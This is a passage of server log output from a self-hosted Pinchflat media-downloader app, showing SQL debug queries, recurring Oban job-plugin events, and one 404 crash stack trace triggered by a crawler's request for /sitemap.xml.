db=0.9ms idle=1154.1ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 13:21:41.782 [debug] QUERY OK source="sources" db=1.6ms idle=1155.4ms SELECT count(s0."id") FROM "sources" AS s0 [] 13:21:41.888 [debug] QUERY OK source="media_items" db=105.4ms idle=1157.4ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 13:21:41.891 [debug] QUERY OK source="media_items" db=2.1ms queue=0.1ms idle=109.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 13:21:41.892 [debug] QUERY OK source="settings" db=0.6ms queue=0.2ms idle=111.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:21:41.894 [debug] QUERY OK source="settings" db=1.3ms idle=110.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:21:41.896 [debug] QUERY OK source="settings" db=0.9ms idle=78.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:21:41.899 [debug] QUERY OK source="tasks" db=0.5ms idle=10.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 13:21:41.900 [debug] QUERY OK source="media_items" db=0.7ms idle=9.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 13:21:41.902 [debug] QUERY OK source="media_items" db=0.9ms idle=8.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 13:21:41.903 [debug] QUERY OK source="sources" db=0.5ms idle=8.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 13:21:41.907 [debug] QUERY OK source="media_items" db=0.8ms idle=10.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 13:21:41.909 [debug] QUERY OK source="media_items" db=1.3ms idle=8.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 13:21:41.910 [info] Sent 200 in 133ms 13:21:44.723 [info] {"source":"oban","duration":2753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:22:00.385 [info] {"source":"oban","duration":439,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:22:14.725 [info] {"source":"oban","duration":1413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:22:44.728 [info] {"source":"oban","duration":1819,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:23:00.386 [info] {"source":"oban","duration":361,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:23:14.732 [info] {"source":"oban","duration":3149,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:23:44.734 [info] {"source":"oban","duration":1614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:24:00.389 [info] {"source":"oban","duration":2695,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:24:14.736 [info] {"source":"oban","duration":1371,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:24:44.738 [info] {"source":"oban","duration":1446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:25:00.391 [info] {"source":"oban","duration":574,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:25:14.741 [info] {"source":"oban","duration":2521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:25:44.743 [info] {"source":"oban","duration":1431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:26:00.392 [info] {"source":"oban","duration":508,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:26:14.745 [info] {"source":"oban","duration":1459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:26:44.747 [info] {"source":"oban","duration":1125,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:27:00.393 [info] {"source":"oban","duration":691,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:27:14.749 [info] {"source":"oban","duration":1870,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:27:44.752 [info] {"source":"oban","duration":1427,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:28:00.395 [info] {"source":"oban","duration":530,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:28:14.754 [info] {"source":"oban","duration":1265,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:28:44.756 [info] {"source":"oban","duration":1298,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:29:00.396 [info] {"source":"oban","duration":333,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:29:14.759 [info] {"source":"oban","duration":2242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:29:44.763 [info] {"source":"oban","duration":2875,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:30:00.397 [info] {"source":"oban","duration":625,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:30:14.765 [info] {"source":"oban","duration":1229,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:30:44.768 [info] {"source":"oban","duration":1641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:31:00.399 [info] {"source":"oban","duration":751,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:31:14.770 [info] {"source":"oban","duration":1157,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:31:44.773 [info] {"source":"oban","duration":2567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:32:00.401 [info] {"source":"oban","duration":372,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:32:14.775 [info] {"source":"oban","duration":1587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:32:44.778 [info] {"source":"oban","duration":2246,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:33:00.402 [info] {"source":"oban","duration":516,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:33:14.784 [info] {"source":"oban","duration":4426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:33:44.786 [info] {"source":"oban","duration":1389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:34:00.403 [info] {"source":"oban","duration":361,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:34:14.788 [info] {"source":"oban","duration":1639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:34:44.790 [info] {"source":"oban","duration":1449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:35:00.404 [info] {"source":"oban","duration":418,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:35:14.803 [info] {"source":"oban","duration":12311,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:35:44.805 [info] {"source":"oban","duration":1759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:36:00.405 [info] {"source":"oban","duration":625,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:36:14.808 [info] {"source":"oban","duration":1742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:36:44.811 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:37:00.407 [info] {"source":"oban","duration":788,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:37:14.814 [info] {"source":"oban","duration":2157,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:37:44.816 [info] {"source":"oban","duration":1602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:38:00.409 [info] {"source":"oban","duration":504,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:38:14.819 [info] {"source":"oban","duration":2256,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:38:44.821 [info] {"source":"oban","duration":1793,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:39:00.410 [info] {"source":"oban","duration":729,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:39:14.825 [info] {"source":"oban","duration":2795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:39:44.828 [info] {"source":"oban","duration":1567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:40:00.412 [info] {"source":"oban","duration":753,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:40:14.832 [info] {"source":"oban","duration":3161,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:40:18.537 [info] GET /sitemap.xml 13:40:18.538 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1802.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:40:18.539 [debug] QUERY OK source="settings" db=0.5ms idle=1803.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:40:18.539 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 13:40:18.540 [error] #PID<0.1296974.0> running PinchflatWeb.Endpoint (connection #PID<0.1296970.0>, stream id 2) terminated Server: tube.home.svallee.fr:80 (http) Request: GET /sitemap.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1296970.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 59674}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1296974.0>, params: %{}, path_info: ["sitemap"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sitemap.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKgNywCc7eUfzH0ADiSR"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1296970.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 59674}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1296970.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 59674}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1296974.0>, params: %{}, path_info: ["sitemap"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sitemap.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKgNywCc7eUfzH0ADiSR"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, (truncated) 13:40:44.834 [info] {"source":"oban","duration":1373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:41:00.414 [info] {"source":"oban","duration":492,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:41:14.836 [info] {"source":"oban","duration":1156,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:41:44.838 [info] {"source":"oban","duration":1405,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:42:00.415 [info] {"source":"oban","duration":343,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:42:14.841 [info] {"source":"oban","duration":2065,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:42:44.843 [info] {"source":"oban","duration":1510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:43:00.416 [info] {"source":"oban","duration":635,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:43:14.846 [info] {"source":"oban","duration":2081,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:43:44.849 [info] {"source":"oban","duration":2822,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:44:00.419 [info] {"source":"oban","duration":1225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:44:14.853 [info] {"source":"oban","duration":2162,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:44:44.857 [info] {"source":"oban","duration":2919,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:45:00.421 [info] {"source":"oban","duration":971,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:45:14.860 [info] {"source":"oban","duration":2066,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:45:44.862 [info] {"source":"oban","duration":1511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:46:00.423 [info] {"source":"oban","duration":1592,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:46:14.865 [info] {"source":"oban","duration":2100,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:46:44.867 [info] {"source":"oban","duration":1709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:47:00.424 [info] {"source":"oban","duration":451,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:47:14.872 [info] {"source":"oban","duration":4481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:47:44.874 [info] {"source":"oban","duration":1420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:48:00.427 [info] {"source":"oban","duration":965,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:48:14.878 [info] {"source":"oban","duration":3379,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:48:44.881 [info] {"source":"oban","duration":2224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:49:00.429 [info] {"source":"oban","duration":870,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:49:14.883 [info] {"source":"oban","duration":1790,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:49:44.886 [info] {"source":"oban","duration":1216,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:50:00.430 [info] {"source":"oban","duration":667,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:50:14.888 [info] {"source":"oban","duration":1587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:50:44.890 [info] {"source":"oban","duration":1227,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:51:00.431 [info] {"source":"oban","duration":521,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:51:14.892 [info] {"source":"oban","duration":1702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:51:22.932 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 13:51:44.894 [info] {"source":"oban","duration":1429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:52:00.432 [info] {"source":"oban","duration":745,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:52:14.896 [info] {"source":"oban","duration":1779,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:52:44.900 [info] {"source":"oban","duration":1814,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:53:00.435 [info] {"source":"oban","duration":964,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:53:14.902 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:53:22.944 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 13:53:44.905 [info] {"source":"oban","duration":2156,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:54:00.437 [info] {"source":"oban","duration":1023,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:54:14.907 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:54:44.909 [info] {"source":"oban","duration":1504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:55:00.438 [info] {"source":"oban","duration":480,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:55:14.912 [info] {"source":"oban","duration":2597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:55:44.915 [info] {"source":"oban","duration":2255,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:56:00.439 [info] {"source":"oban","duration":451,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:56:14.918 [info] {"source":"oban","duration":2280,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:56:44.921 [info] {"source":"oban","duration":2058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:57:00.440 [info] {"source":"oban","duration":491,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:57:14.924 [info] {"source":"oban","duration":2451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:57:44.926 [info] {"source":"oban","duration":1207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:58:00.441 [info] {"source":"oban","duration":407,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:58:14.928 [info] {"source":"oban","duration":1260,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:58:44.932 [info] {"source":"oban","duration":3316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:59:00.443 [info] {"source":"oban","duration":1162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:59:14.934 [info] {"source":"oban","duration":1499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:59:44.936 [info] {"source":"oban","duration":1543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:00:00.444 [info] {"source":"oban","duration":494,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:00:14.938 [info] 